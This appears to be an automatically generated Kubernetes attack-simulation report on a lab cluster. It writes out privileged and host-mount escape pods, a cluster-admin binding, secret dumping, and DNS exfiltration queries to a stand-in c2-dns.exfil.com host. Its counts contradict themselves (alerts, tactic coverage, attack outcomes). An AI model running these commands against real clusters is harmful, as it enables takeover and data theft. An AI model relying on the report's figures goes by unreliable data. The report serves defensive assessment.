

K8s Attack & Remediation Platform

Security Assessment Report

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1. Executive Summary

This security assessment report documents the execution of 10 real-world Kubernetes attack techniques against a dedicated attack cluster. The assessment was conducted using the K8s Attack & Remediation Platform, which combines automated attack execution with real-time detection monitoring and AI-powered remediation via Claude Sonnet 4. The goal was to evaluate the cluster's security posture by simulating adversarial behaviors mapped to the MITRE ATT&CK; for Containers framework.

Assessment Overview

Metric	Count	Description
Total Attacks	10	Attacks executed against the cluster
Passed	10	Attacks that completed successfully
Failed	0	Attacks that failed during execution
Critical Issues	5	Critical-severity vulnerabilities identified
High Issues	4	High-severity vulnerabilities identified
Alerts Triggered	100	Detection events from cluster monitoring
Remediations	0	AI-driven remediation actions performed
MITRE Tactics	10	ATT&CK; tactics with covered techniques

Key Findings

- 5 critical-severity security issues identified, requiring immediate remediation.
- 4 high-severity issues identified, posing significant risk to cluster security.
- 10 MITRE ATT&CK; tactics covered across 10 distinct attack techniques.
- 0 automated remediation actions executed via AI agent with step-by-step reasoning.

Overall Risk Score: CRITICAL

2. Attack Summary

The following table summarizes all attacks executed during the assessment, including their severity rating, status, MITRE ATT&CK; mapping, execution time, and duration.

#	Attack	Severity	Status	Start	Duration	MITRE Technique
1	Privilege Escalation via HostPath Mount	Critical	Completed	19:59:14	3.1s	Escape to Host, Abuse Elevation Control Mechanism
2	RBAC Privilege Escalation	Critical	Completed	19:59:16	2.1s	Escape to Host, Abuse Elevation Control Mechanism
3	Sidecar Proxy Injection	High	Completed	19:59:20	0.0s	Access K8s API, Kubernetes API lateral movement
4	Container Escape via Privileged Mode	Critical	Completed	19:59:18	3.0s	Container Escape, Abuse Elevation Control Mechanism
5	Kubernetes Secrets Exfiltration	Critical	Completed	19:59:22	0.1s	Container Secrets, Access K8s API
6	ConfigMap Data Collection	Medium	Completed	19:59:24	0.1s	Screen Capture / Data from ConfigMap, Access K8s API
7	Internal Cluster Network Scan	High	Completed	19:59:26	8.6s	Network Service Scanning, K8s API Discovery
8	Cluster Resource Hijacking	High	Completed	19:59:30	6.1s	Resource Hijacking, Endpoint Denial of Service
9	Kubelet API Abuse	Critical	Completed	19:59:28	14.1s	Escape to Host, Container Administration Command
10	DNS-Based Data Exfiltration	High	Completed	19:59:32	12.6s	Exfiltration Over Alternative Protocol, Protocol Tunneling

3. MITRE ATT&CK; Coverage

The following matrix maps the executed attacks to the MITRE ATT&CK; for Containers framework, demonstrating coverage across multiple tactics and techniques.

Tactic ID	Tactic Name	Covered	Techniques
TA0001	Initial Access	0/2	Container and Resource Discovery, Implant Internal Image
TA0002	Execution	0/2	Container Administration Command, Deploy Container
TA0003	Persistence	0/2	Web Shell, Container Escape
TA0004	Privilege Escalation	0/2	Escape to Host, Sudo and Sudo Caching
TA0005	Defense Evasion	0/2	Build Image on Host, Disable or Modify Tools
TA0006	Credential Access	0/2	Container Secrets, Access K8s API
TA0007	Discovery	0/2	Network Service Scanning, K8s API Discovery
TA0008	Lateral Movement	0/2	Kubernetes API, Deploy Container
TA0009	Collection	0/2	Screen Capture, Process Discovery
TA0040	Impact	0/2	Resource Hijacking, Endpoint Denial of Service

4. Cluster Infrastructure

The assessment was conducted against a Kind-based Kubernetes cluster with the following nodes and infrastructure configuration.

Name	Status	CPU	Memory	Max Pods	OS	Kubelet
k8s-attack-lab-control-plane	Ready	8	4012528Ki	110	Debian GNU/Linux 13 (trixie)	v1.36.1
k8s-attack-lab-worker	Ready	8	4012528Ki	110	Debian GNU/Linux 13 (trixie)	v1.36.1
k8s-attack-lab-worker2	Ready	8	4012528Ki	110	Debian GNU/Linux 13 (trixie)	v1.36.1

5. Detailed Attack Log

The following section provides detailed information for each attack executed, including attack methodology, execution timeline, events, commands issued, infrastructure affected, and impact assessment.

5.1 Privilege Escalation via HostPath Mount

CRITICAL

Attack ID

Severity

Status

Start Time

Duration

MITRE Techniques

Description

ee6a298c-2f4e-4992-bccf-e99ae193e657

Critical

Completed

19:59:14

3.1s

T1611 Escape to Host; T1548.003 Abuse Elevation Control Mechanism

Creates a pod that mounts the host filesystem via hostPath, allowing escape to the underlying node.

Infrastructure Affected

Resource Type	Name	Namespace	Details
pod	hostpath-exploit	default	privileged: True, host_path: /, node: None

Execution Timeline

	Time	Type	Event
■	19:59:14	Info	Attempting to create privileged pod with hostPath mount to /
✓	19:59:14	Success	Privileged pod created: hostpath-exploit
■	19:59:17	Warning	Pod in state: Pending
✓	19:59:17	Complete	Privilege escalation attack completed. hostPath pod active.
✓	19:59:17	Complete	Attack completed in 3.07s

Commands Executed

Command 1:
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: hostpath-exploit namespace: default spec: containers: - name: exploit-container image: alpine:3.19 securityContext: privileged: true volumeMounts: - mountPath: /host name: host-root volumes: - hostPath: path: / type: Directory name: host-root restartPolicy: Never EOF
pod/hostpath-exploit created

5.2 RBAC Privilege Escalation

CRITICAL

Attack ID

Severity

Status

Start Time

7490f782-250d-4994-9674-09419ea9255c

Critical

Completed

19:59:16

Duration	2.1s
MITRE Techniques	T1611 Escape to Host; T1548.003 Abuse Elevation Control Mechanism
Description	Exploits cluster-admin binding or overly permissive RBAC roles to gain full cluster control.

Infrastructure Affected

Resource Type	Name	Namespace	Details
cluster_role_binding	malicious-admin-binding	default	role: cluster-admin, subject: ServiceAccount/malicious-admin

Execution Timeline

	Time	Type	Event
■	19:59:16	Info	Creating malicious ClusterRoleBinding for privilege escalation
✓	19:59:16	Success	Created service account: malicious-admin
✓	19:59:16	Success	Bound service account to cluster-admin ClusterRole
✓	19:59:18	Complete	RBAC escalation complete. cluster-admin access granted.
✓	19:59:18	Complete	Attack completed in 2.07s

Commands Executed

Command 1:

```
kubectl create sa malicious-admin -n default
serviceaccount/malicious-admin created
```

Command 2:

```
kubectl create clusterrolebinding malicious-admin-binding --clusterrole=cluster-admin
--serviceaccount=default:malicious-admin
clusterrolebinding.rbac.authorization.k8s.io/malicious-admin-binding created
```

5.3 Sidecar Proxy Injection

HIGH

Attack ID	3dd3c537-1620-4321-96a2-c960f10b2f8d
Severity	High
Status	Completed
Start Time	19:59:20
Duration	0.0s
MITRE Techniques	T1613 Access K8s API; T1021.006 Kubernetes API lateral movement
Description	Injects a malicious sidecar container into an existing pod to intercept network traffic and exfiltrate data.

Infrastructure Affected

Resource Type	Name	Namespace	Details
pod	traffic-proxy	default	type: traffic_interceptor, host_network: True, target: conta

Execution Timeline

	Time	Type	Event
■	19:59:20	Info	Discovering existing pods for sidecar injection target
■	19:59:20	Info	Found target pod: container-escape-pod
■	19:59:20	Info	Direct sidecar injection prevented by K8s immutability. Deploying proxy pod.
■	19:59:20	Warning	Traffic proxy pod deployed with hostNetwork for traffic interception
✓	19:59:20	Complete	Sidecar proxy injection attack complete
✓	19:59:20	Complete	Attack completed in 0.04s

Commands Executed

Command 1:
kubectl get pods -n default

container-escape-pod hostpath-exploit

Command 2:
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: traffic-proxy namespace: default spec: hostNetwork: true containers: - name: proxy image: alpine:3.19 command: ['/bin/sh', '-c', 'tcpdump -i any -c 50 -nn 2>/dev/null | head -30; sleep 3600'] securityContext: capabilities: add: [NET_ADMIN, NET_RAW] EOF

pod/traffic-proxy created

5.4 Container Escape via Privileged Mode

CRITICAL

Attack ID	f67fea7d-d81c-48eb-9b0b-aff17c2e041e
Severity	Critical
Status	Completed
Start Time	19:59:18
Duration	3.0s
MITRE Techniques	T1611 Container Escape; T1548.003 Abuse Elevation Control Mechanism
Description	Creates a privileged container with hostPID and hostNetwork access to escape container isolation and execute commands on the host node.

Infrastructure Affected

Resource Type	Name	Namespace	Details
pod	container-escape-pod	default	privileged: True, host_pid: True, host_network: True, node:

Execution Timeline

	Time	Type	Event
■	19:59:18	Info	Attempting container escape with privileged + hostPID + hostNetwork
✓	19:59:18	Success	Container escape pod deployed with host-level access
✓	19:59:21	Complete	Container escape attack complete. Host-level access achieved.
✓	19:59:21	Complete	Attack completed in 3.05s

Commands Executed

Command 1:
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: container-escape-pod namespace: default spec: hostPID: true hostNetwork: true containers: - name: escape-container image: alpine:3.19 securityContext: privileged: true capabilities: add: [SYS_ADMIN,SYS_PTRACE,SYS_CHROOT,DAC_OVERRIDE,NET_ADMIN,SYS_RAWIO] restartPolicy: Never EOF

pod/container-escape-pod created

5.5 Kubernetes Secrets Exfiltration

CRITICAL

Attack ID	c1f2fa7c-48a3-4be5-abff-ffb06da4505d
Severity	Critical
Status	Completed
Start Time	19:59:22
Duration	0.1s
MITRE Techniques	T1552.007 Container Secrets; T1613 Access K8s API
Description	Enumerates and extracts all secrets across namespaces via the Kubernetes API using a compromised service account.

Infrastructure Affected

Resource Type	Name	Namespace	Details
secret	demo-db-credentials	default	type: Opaque, key_count: 4
secret	demo-tls-certs	default	type: kubernetes.io/tls, key_count: 2
secret	bootstrap-token-abcdef	kube-system	type: bootstrap.kubernetes.io/token, key_count: 6

Execution Timeline

	Time	Type	Event
■	19:59:22	Info	Starting secrets enumeration across all namespaces
■	19:59:22	Info	Discovered 6 namespaces
✓	19:59:22	Success	Extracted secret: demo-db-credentials in namespace default
✓	19:59:22	Success	Extracted secret: demo-tls-certs in namespace default
✓	19:59:22	Success	Extracted secret: bootstrap-token-abcdef in namespace kube-system
✓	19:59:22	Complete	Secrets enumeration completed. Extracted 3 secrets.
✓	19:59:22	Complete	Attack completed in 0.05s

Commands Executed

Command 1:
kubectl get namespaces -o name

attack-targets default kube-node-lease kube-public kube-system local-path-storage

Command 2:
kubectl get secrets -n default

demo-db-credentials demo-tls-certs

Command 3:
kubectl get secret demo-db-credentials -n default -o yaml

```
apiVersion: v1 kind: Secret metadata: name: demo-db-credentials namespace: default type: Opaque data:  
api_key: connection_string: password: username:
```

Command 4:

```
kubectl get secret demo-tls-certs -n default -o yaml
```

```
apiVersion: v1 kind: Secret metadata: name: demo-tls-certs namespace: default type: kubernetes.io/tls data:  
tls.crt: tls.key:
```

5.6 ConfigMap Data Collection

MEDIUM

Attack ID	dda0e181-4244-4088-8bb7-1f9825eb4b33
Severity	Medium
Status	Completed
Start Time	19:59:24
Duration	0.1s
MITRE Techniques	T1113 Screen Capture / Data from ConfigMap; T1613 Access K8s API
Description	Extracts all ConfigMaps across namespaces to collect configuration data, credentials, and application settings.

Infrastructure Affected

Resource Type	Name	Namespace	Details
configmap	kube-root-ca.crt	attack-targets	key_count: 1
configmap	app-config	default	key_count: 8
configmap	kube-root-ca.crt	default	key_count: 1
configmap	kube-root-ca.crt	kube-node-lease	key_count: 1
configmap	cluster-info	kube-public	key_count: 2
configmap	kube-root-ca.crt	kube-public	key_count: 1

Execution Timeline

	Time	Type	Event
■	19:59:24	Info	Starting ConfigMap enumeration across all namespaces
✓	19:59:24	Success	Extracted ConfigMap: kube-root-ca.crt from attack-targets
✓	19:59:24	Success	Extracted ConfigMap: app-config from default
✓	19:59:24	Success	Extracted ConfigMap: kube-root-ca.crt from default
✓	19:59:24	Success	Extracted ConfigMap: kube-root-ca.crt from kube-node-lease
✓	19:59:24	Success	Extracted ConfigMap: cluster-info from kube-public
✓	19:59:24	Success	Extracted ConfigMap: kube-root-ca.crt from kube-public
✓	19:59:24	Success	Extracted ConfigMap: coredns from kube-system

Commands Executed

Command 1:

```
kubectl get configmaps -n attack-targets
```

```
kube-root-ca.crt
```

Command 2:

```
kubectl get configmap kube-root-ca.crt -n attack-targets -o yaml
```

```
apiVersion: v1 kind: ConfigMap metadata: name: kube-root-ca.crt namespace: attack-targets data: ca.crt: |
-----BEGIN CERTIFICATE----- MIIDBTCCAe2gAwIBAgIIRYZYyRhaQDow...

Command 3:
kubectl get configmaps -n default

app-config kube-root-ca.crt

Command 4:
kubectl get configmap app-config -n default -o yaml

apiVersion: v1 kind: ConfigMap metadata: name: app-config namespace: default data: app.debug: | false
app.env: | production aws.access_key_id: | AKIAIOSFODNN7EXAMPLE aws.region: | us-east-1 database.host: |
db.intern...
```

5.7 Internal Cluster Network Scan

HIGH

Attack ID	b49eee8b-1666-4e47-a405-5b2a2ec79756
Severity	High
Status	Completed
Start Time	19:59:26
Duration	8.6s
MITRE	T1046 Network Service Scanning; T1613 K8s API Discovery
Techniques	
Description	Deploys a pod that scans the internal Kubernetes service CIDR to discover services, open ports, and potential lateral movement targets.

Infrastructure Affected

Resource Type	Name	Namespace	Details
pod	network-scanner	default	purpose: internal network scanning, image: alpine:3.19

Execution Timeline

	Time	Type	Event
■	19:59:26	Info	Discovering cluster services and endpoints for network scan
■	19:59:26	Info	Discovered 1 services in default namespace
✓	19:59:26	Success	Network scanner pod deployed
■	19:59:31	Info	Installing network tools (nmap/netcat) in scanner pod
■	19:59:31	Warning	Failed to install tools: (400) Reason: Bad Request HTTP response headers: HTTPHeaderDict({'Audit-Id'
■	19:59:31	Warning	Network tools not available, using /proc/net scans
■	19:59:34	Info	Scan result for kubernetes:443: (400) Reason: Bad Request HTTP response headers: HTTPHeaderDict({'Au
■	19:59:34	Info	Scanning for additional cluster IPs in 10.0.0.0/8 range

Commands Executed

```
Command 1:
kubectl get svc -n default

NAME CLUSTER-IP PORT(S) kubernetes 10.96.0.1 443 /TCP

Command 2:
```

```
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: network-scanner namespace: default
spec: containers: - name: scanner image: alpine:3.19 command: ['/bin/sh','-c','sleep 300']
restartPolicy: Never EOF

pod/network-scanner created
```

5.8 Cluster Resource Hijacking

HIGH

Attack ID

Severity

Status

Start Time

Duration

MITRE

Techniques

Description

629259b6-a2c4-402e-a593-4f752817c300

High

Completed

19:59:30

6.1s

T1496 Resource Hijacking; T1499 Endpoint Denial of Service

T1496 Resource Hijacking; T1499 Endpoint Denial of Service

Deploys resource-intensive pods across available nodes to simulate cryptominer-style resource hijacking and node resource exhaustion.

Infrastructure Affected

Resource Type	Name	Namespace	Details
pod	resource-hijacker-0	default	type: compute_hijacker, target_node: unscheduled
pod	resource-hijacker-1	default	type: compute_hijacker, target_node: unscheduled
pod	resource-hijacker-2	default	type: compute_hijacker, target_node: unscheduled
pod	resource-hijacker-3	default	type: compute_hijacker, target_node: unscheduled
pod	resource-hijacker-4	default	type: compute_hijacker, target_node: unscheduled
pod	resource-hijacker-5	default	type: compute_hijacker, target_node: unscheduled

Execution Timeline

	Time	Type	Event
■	19:59:30	Info	Starting resource hijacking simulation
■	19:59:30	Info	Discovered 3 nodes for resource targeting
■	19:59:30	Warning	Resource hijacker pod deployed: resource-hijacker-0 on unscheduled
■	19:59:31	Warning	Resource hijacker pod deployed: resource-hijacker-1 on unscheduled
■	19:59:32	Warning	Resource hijacker pod deployed: resource-hijacker-2 on unscheduled
■	19:59:33	Warning	Resource hijacker pod deployed: resource-hijacker-3 on unscheduled
■	19:59:34	Warning	Resource hijacker pod deployed: resource-hijacker-4 on unscheduled
■	19:59:35	Warning	Resource hijacker pod deployed: resource-hijacker-5 on unscheduled

Commands Executed

Command 1:

```
kubectl get nodes

k8s-attack-lab-control-plane k8s-attack-lab-worker k8s-attack-lab-worker2

Command 2:
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: resource-hijacker-0 namespace:
default spec: containers: - name: loader image: alpine:3.19 command: ['sh','-c','c=0; while true; do
c=$((c+1)); dd if=/dev/zero of=/dev/null bs=1M count=100 2>/dev/null; sleep 0.1; done'] resources:
requests: {cpu: 500m, memory: 256Mi} limits: {cpu: 1000m, memory: 512Mi} EOF

pod/resource-hijacker-0 created

Command 3:
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: resource-hijacker-1 namespace:
default spec: containers: - name: loader image: alpine:3.19 command: ['sh','-c','c=0; while true; do
c=$((c+1)); dd if=/dev/zero of=/dev/null bs=1M count=100 2>/dev/null; sleep 0.1; done'] resources:
requests: {cpu: 500m, memory: 256Mi} limits: {cpu: 1000m, memory: 512Mi} EOF

pod/resource-hijacker-1 created

Command 4:
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: resource-hijacker-2 namespace:
default spec: containers: - name: loader image: alpine:3.19 command: ['sh','-c','c=0; while true; do
c=$((c+1)); dd if=/dev/zero of=/dev/null bs=1M count=100 2>/dev/null; sleep 0.1; done'] resources:
requests: {cpu: 500m, memory: 256Mi} limits: {cpu: 1000m, memory: 512Mi} EOF

pod/resource-hijacker-2 created
```

5.9 Kubelet API Abuse

CRITICAL

Attack ID	9af455f2-53d7-4899-9a42-d0c189f74131
Severity	Critical
Status	Completed
Start Time	19:59:28
Duration	14.1s
MITRE	T1611 Escape to Host; T1609 Container Administration Command
Techniques	
Description	Discovers kubelet API endpoints (port 10250) on cluster nodes and attempts to execute commands in running pods without going through the API server, bypassing RBAC and audit logging.

Infrastructure Affected

Resource Type	Name	Namespace	Details
pod	kubelet-scanner	default	purpose: kubelet API scanning, host_network: True

Execution Timeline

	Time	Type	Event
■	19:59:28	Info	Discovering cluster nodes and internal IPs for kubelet API scanning
■	19:59:28	Info	Discovered 3 node IPs
■	19:59:28	Info	Kubelet scanner pod deployed on None
■	19:59:36	Warning	Kubelet probe failed for 172.18.0.3:10250: (400) Reason: Bad Request HTTP response headers: HTTPHead
■	19:59:37	Warning	Kubelet probe failed for 172.18.0.3:10255: (400) Reason: Bad Request HTTP response headers: HTTPHead

	Time	Type	Event
■	19:59:38	Warning	Kubelet probe failed for 172.18.0.4:10250: (400) Reason: Bad Request HTTP response headers: HTTPHead
■	19:59:39	Warning	Kubelet probe failed for 172.18.0.4:10255: (400) Reason: Bad Request HTTP response headers: HTTPHead
■	19:59:40	Warning	Kubelet probe failed for 172.18.0.2:10250: (400) Reason: Bad Request HTTP response headers: HTTPHead

Commands Executed

Command 1:

```
kubectl get nodes -o wide
```

k8s-attack-lab-control-plane InternalIP=172.18.0.3 k8s-attack-lab-worker InternalIP=172.18.0.4
k8s-attack-lab-worker2 InternalIP=172.18.0.2

Command 2:

```
kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: kubelet-scanner namespace: default spec: hostNetwork: true containers: - name: scanner image: alpine:3.19 command: ['/bin/sh','-c','apk add --no-cache curl && sleep 300'] restartPolicy: Never EOF
```

pod/kubelet-scanner created

5.10 DNS-Based Data Exfiltration

HIGH

Attack ID

Severity

Status

Start Time

Duration

MITRE Techniques

Description

aae5fe74-d91c-4436-a0d0-bb72cc68da57

High

Completed

19:59:32

12.6s

T1048 Exfiltration Over Alternative Protocol; T1572 Protocol Tunneling

Simulates data exfiltration via DNS tunneling by encoding stolen data into DNS queries from a compromised pod, bypassing network monitoring.

Infrastructure Affected

Resource Type	Name	Namespace	Details
pod	dns-exfil-pod	default	type: dns_exfiltration, node: None

Execution Timeline

	Time	Type	Event
■	19:59:32	Info	Preparing DNS exfiltration simulation pod
✓	19:59:32	Success	Exfiltration pod deployed: dns-exfil-pod
■	19:59:35	Info	Pod is running. Beginning DNS exfiltration simulation.
■	19:59:36	Warning	Data exfiltrated via DNS: stolen-credential-ae3f8c2
■	19:59:37	Warning	Data exfiltrated via DNS: configmap-data-b7d91a3
■	19:59:38	Warning	Data exfiltrated via DNS: secret-keys-4f1e6b9
■	19:59:39	Warning	Data exfiltrated via DNS: token-6a2e8f04
■	19:59:41	Warning	Data exfiltrated via DNS: db-password-admin

Commands Executed

Command 1:

```
kubecttl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: dns-exfil-pod namespace: default
spec: containers: - name: exfil-container image: alpine:3.19 command: ['/bin/sh','-c','sleep 3600']
restartPolicy: Never EOF
```

```
pod/dns-exfil-pod created
```

Command 2:

```
kubecttl exec dns-exfil-pod -n default -- nslookup stolen-credential-ae3f8c2.exec.c2-dns.exfil.com
```

```
Server: 10.96.0.10 Address: 10.96.0.10:53 ** server can't find
stolen-credential-ae3f8c2.exec.c2-dns.exfil.com: NXDOMAIN ** server can't find
stolen-credential-ae3f8c2.exec.c2-dns.exfil.com: NXDOMAIN sh: host: not found DNS resolution attempted
```

Command 3:

```
kubecttl exec dns-exfil-pod -n default -- nslookup configmap-data-b7d91a3.exec.c2-dns.exfil.com
```

```
Server: 10.96.0.10 Address: 10.96.0.10:53 ** server can't find configmap-data-b7d91a3.exec.c2-dns.exfil.com:
NXDOMAIN ** server can't find configmap-data-b7d91a3.exec.c2-dns.exfil.com: NXDOMAIN sh: host: not found DNS
resolution attempted
```

Command 4:

```
kubecttl exec dns-exfil-pod -n default -- nslookup secret-keys-4f1e6b9.exec.c2-dns.exfil.com
```

```
Server: 10.96.0.10 Address: 10.96.0.10:53 ** server can't find secret-keys-4f1e6b9.exec.c2-dns.exfil.com:
NXDOMAIN ** server can't find secret-keys-4f1e6b9.exec.c2-dns.exfil.com: NXDOMAIN sh: host: not found DNS
resolution attempted
```

6. Detection & Alerts

The detection monitor continuously observes the cluster for signs of malicious activity using Kubernetes watch APIs. Alerts are generated when resources matching predefined alert rules are created or modified.

Alert Summary: 0 total alerts — 0 critical, 0 high, 0 medium, 0 low

Rule	Severity	Resource	Timestamp
Unknown	Critical	—	1780862444.4180439
Unknown	High	—	1780862444.418056
Unknown	High	—	1780862444.418059
Unknown	High	—	1780862444.418062
Unknown	Critical	—	1780862444.418123
Unknown	Critical	—	1780862444.4192572
Unknown	High	—	1780862444.419262
Unknown	High	—	1780862444.424566
Unknown	High	—	1780862444.4365811
Unknown	High	—	1780862444.440505
Unknown	High	—	1780862444.44051
Unknown	High	—	1780862444.442274
Unknown	High	—	1780862444.44228
Unknown	High	—	1780862444.443583
Unknown	High	—	1780862444.4435892
Unknown	High	—	1780862444.444936
Unknown	High	—	1780862444.444941
Unknown	High	—	1780862444.44609
Unknown	High	—	1780862444.446093
Unknown	High	—	1780862444.447186
Unknown	High	—	1780862444.447189
Unknown	Critical	—	1780862444.448256
Unknown	High	—	1780862444.448259
Unknown	High	—	1780862444.448262
Unknown	Critical	—	1780862444.450377
Unknown	High	—	1780862444.450382
Unknown	High	—	1780862444.4503849
Unknown	Critical	—	1780862444.450451
Unknown	High	—	1780862444.450455
Unknown	High	—	1780862444.450457
Unknown	High	—	1780862444.451406
Unknown	High	—	1780862444.4514089
Unknown	Critical	—	1780862474.44975
Unknown	Critical	—	1780862474.4499562

Rule	Severity	Resource	Timestamp
Unknown	High	—	1780862474.449978
Unknown	High	—	1780862474.449982
Unknown	High	—	1780862474.449985
Unknown	Critical	—	1780862474.4540632
Unknown	High	—	1780862474.454069
Unknown	Critical	—	1780862474.4541461
Unknown	Critical	—	1780862474.455308
Unknown	High	—	1780862474.457056
Unknown	High	—	1780862474.4762921
Unknown	High	—	1780862474.4798238
Unknown	High	—	1780862474.47983
Unknown	High	—	1780862474.481098
Unknown	High	—	1780862474.481102
Unknown	High	—	1780862474.482292
Unknown	High	—	1780862474.482295
Unknown	High	—	1780862474.483456
Unknown	High	—	1780862474.483459
Unknown	High	—	1780862474.484561
Unknown	High	—	1780862474.484564
Unknown	High	—	1780862474.4856372
Unknown	High	—	1780862474.48564
Unknown	Critical	—	1780862474.48671
Unknown	High	—	1780862474.4867132
Unknown	High	—	1780862474.4867158
Unknown	Critical	—	1780862474.488953
Unknown	High	—	1780862474.48896
Unknown	High	—	1780862474.4889631
Unknown	Critical	—	1780862474.489006
Unknown	High	—	1780862474.489009
Unknown	High	—	1780862474.489012
Unknown	High	—	1780862474.490081
Unknown	High	—	1780862474.4900868
Unknown	Critical	—	1780862504.488439
Unknown	Critical	—	1780862504.4909859
Unknown	Critical	—	1780862504.501792
Unknown	High	—	1780862504.5017998
Unknown	High	—	1780862504.501804
Unknown	High	—	1780862504.5018072
Unknown	Critical	—	1780862504.501872
Unknown	High	—	1780862504.5018759
Unknown	Critical	—	1780862504.5019178

Rule	Severity	Resource	Timestamp
Unknown	High	—	1780862504.501951
Unknown	High	—	1780862504.5139682
Unknown	High	—	1780862504.5209758
Unknown	High	—	1780862504.520983
Unknown	High	—	1780862504.521075
Unknown	High	—	1780862504.521079
Unknown	High	—	1780862504.5223029
Unknown	High	—	1780862504.522309
Unknown	High	—	1780862504.523511
Unknown	High	—	1780862504.523515
Unknown	High	—	1780862504.5246358
Unknown	High	—	1780862504.524639
Unknown	High	—	1780862504.5263271
Unknown	High	—	1780862504.526332
Unknown	Critical	—	1780862504.527657
Unknown	High	—	1780862504.527663
Unknown	High	—	1780862504.5276659
Unknown	Critical	—	1780862504.528855
Unknown	High	—	1780862504.5288599
Unknown	High	—	1780862504.528863
Unknown	Critical	—	1780862504.529972
Unknown	High	—	1780862504.5299761
Unknown	High	—	1780862504.529979
Unknown	High	—	1780862504.5310311
Unknown	High	—	1780862504.531036

8. Conclusion

This assessment successfully demonstrated 10 Kubernetes attack techniques across 10 MITRE ATT&CK; tactics. The identification of 5 critical and 4 high-severity vulnerabilities indicates that the cluster configuration requires immediate hardening.

Recommendations

- Enforce Pod Security Standards (restricted profile) to prevent privileged container deployment.
- Implement RBAC least-privilege policies — avoid cluster-admin bindings for service accounts.
- Disable hostPath volume mounts unless absolutely necessary; use CSI drivers with appropriate policies.
- Store secrets in external secrets management (HashiCorp Vault, AWS Secrets Manager) with automatic rotation.
- Enable audit logging and implement real-time threat detection for rapid incident response.
- Conduct regular security assessments to identify and remediate configuration drift.
- Implement network policies to enforce micro-segmentation and restrict east-west traffic.

This report was generated automatically by the K8s Attack & Remediation Platform. The findings reflect the state of the cluster at the time of assessment and should be used as part of a broader security review process.